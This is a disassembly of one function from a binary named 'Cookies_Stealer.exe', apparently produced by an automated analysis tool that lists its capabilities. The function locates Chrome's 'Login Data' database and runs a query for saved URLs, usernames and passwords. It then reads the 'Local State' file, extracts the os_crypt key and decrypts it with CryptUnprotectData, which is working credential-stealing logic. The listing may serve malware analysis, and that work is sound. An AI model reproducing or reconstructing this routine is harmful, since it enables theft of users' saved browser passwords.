Function at 0x140008e60
Capabilities:
Encrypt data using dpapi
Get common file path
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov rax, qword [0x1400e3040]
xor rax, rsp
mov qword [rbp + 0x430], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x320]
call fcn.1400c1960
lea rax, [rbp + 0x320]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140008edb
lea rcx, [0x1400d0098]
jmp 0x1400093d5
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x210]
call fcn.1400c1960
lea rcx, [rbp + 0x210]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140008f00
lea r8, [rbp + 0x320]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140008f20
lea rcx, [rbp + 0x210]
dec rcx
nop word [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140008f40
movsd xmm0, qword [str.GoogleChrome]
movsd qword [rcx], xmm0
mov eax, dword [0x1400d00b8]
mov dword [rcx + 8], eax
movzx eax, word [0x1400d00bc]
mov word [rcx + 0xc], ax
movzx eax, byte [0x1400d00be]
mov byte [rcx + 0xe], al
lea rcx, [rbp + 0x210]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140008f80
movups xmm0, xmmword [str.User_DataDefaultLogin_Data]
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x1400d00d0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [0x1400d00d8]
mov dword [rcx + 0x18], eax
movzx eax, word [0x1400d00dc]
mov word [rcx + 0x1c], ax
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x210]
call fcn.14009f940
test eax, eax
je 0x140008fdc
lea rcx, str.sqlite3_open
jmp 0x1400093d5
xor r12d, r12d
mov qword [rsp + 0x30], r12
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov rdi, 0xffffffffffffffff
lea r9d, [r12 + 1]
mov r8d, edi
lea rdx, str.SELECT_origin_url__username_value__password_value_FROM_logins
mov rcx, qword [rsp + 0x40]
call fcn.140074250
test eax, eax
je 0x140009022
lea rcx, str.sqlite3_prepare_v2
jmp 0x1400093d5
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x100]
call fcn.1400c1960
lea rcx, [rbp + 0x100]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r12b
jne 0x140009040
lea r8, [rbp + 0x320]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140009060
lea rcx, [rbp + 0x100]
dec rcx
nop word [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r12b
jne 0x140009080
movsd xmm0, qword [str.GoogleChrome]
movsd qword [rcx], xmm0
mov eax, dword [0x1400d00b8]
mov dword [rcx + 8], eax
movzx eax, word [0x1400d00bc]
mov word [rcx + 0xc], ax
movzx eax, byte [0x1400d00be]
mov byte [rcx + 0xe], al
lea rcx, [rbp + 0x100]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r12b
jne 0x1400090c0
movups xmm0, xmmword [str.User_DataLocal_State]
movups xmmword [rcx], xmm0
mov eax, dword [0x1400d0158]
mov dword [rcx + 0x10], eax
movzx eax, word [0x1400d015c]
mov word [rcx + 0x14], ax
movzx eax, byte [0x1400d015e]
mov byte [rcx + 0x16], al
xor edx, edx
mov r8d, 0x140
lea rcx, [rbp - 0x40]
call fcn.1400c1960
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, rdi
jne 0x140009124
lea rcx, [0x1400d0160]
jmp 0x1400093d5
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, rdi
jne 0x140009162
lea rcx, [0x1400d0170]
jmp 0x1400093d5
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
test eax, eax
jne 0x140009180
lea rcx, str.File_size_is_zero
jmp 0x1400093d5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x70]
mov r8d, r15d
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400091bf
lea rcx, [0x1400d0198]
jmp 0x1400093d5
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400093ce
mov rdx, rdi
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x1400091d4
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call sym.Cookies_Stealer.exe_cJSON_ParseWithLengthOpts
test rax, rax
je 0x1400093ce
mov rbx, qword [rax + 0x10]
lea rdx, str.os_crypt
mov rcx, qword [rbx + 0x38]
call fcn.1400c1880
test eax, eax
je 0x140009227
nop
mov rbx, qword [rbx]
lea rdx, str.os_crypt
mov rcx, qword [rbx + 0x38]
call fcn.1400c1880
test eax, eax
jne 0x140009210
mov rbx, qword [rbx + 0x10]
test rbx, rbx
je 0x14000923c
cmp byte [rbx + 0x18], 0x10
jne 0x14000923c
mov rbx, qword [rbx + 0x20]
jmp 0x140009240
mov rbx, r12
nop
inc rdi
cmp byte [rbx + rdi], r12b
jne 0x140009240
movsxd rcx, edi
call fcn.1400a17c0
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140009480
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x68]
call fcn.140008990
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400092ab
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009412
call fcn.1400a17b8
mov r14d, dword [rbp - 0x58]
lea rbx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rbx, qword [rbp - 0x68]
lea ecx, [r14 - 5]
call fcn.1400a17c0
mov r15, rax
cmp r14d, 5
jbe 0x1400092f1
mov rdx, rax
sub rbx, rax
lea r8d, [r14 - 5]
nop dword [rax]
movzx ecx, byte [rbx + rdx + 5]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1400092e0
mov dword [rsp + 0x6c], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea eax, [r14 - 5]
test eax, eax
je 0x140009329
mov rbx, r15
mov edi, eax
nop dword [rax + rax]
movzx edx, byte [rbx]
lea rcx, str.0x_02x:
call fcn.140008770
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140009310
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x68], r14d
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14000936c
cmp dword [rsp + 0x78], 0x2000
jae 0x140009418
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400d01d0]
call fcn.140008770
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400093da
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000940c
call fcn.1400a17b8
jmp 0x1400093da
lea rcx, [0x1400d01a8]
call fcn.140008770
xor eax, eax
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.1400a1280
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400b115c
nop
call fcn.1400b115c
nop
call fcn.1400a13a8
int3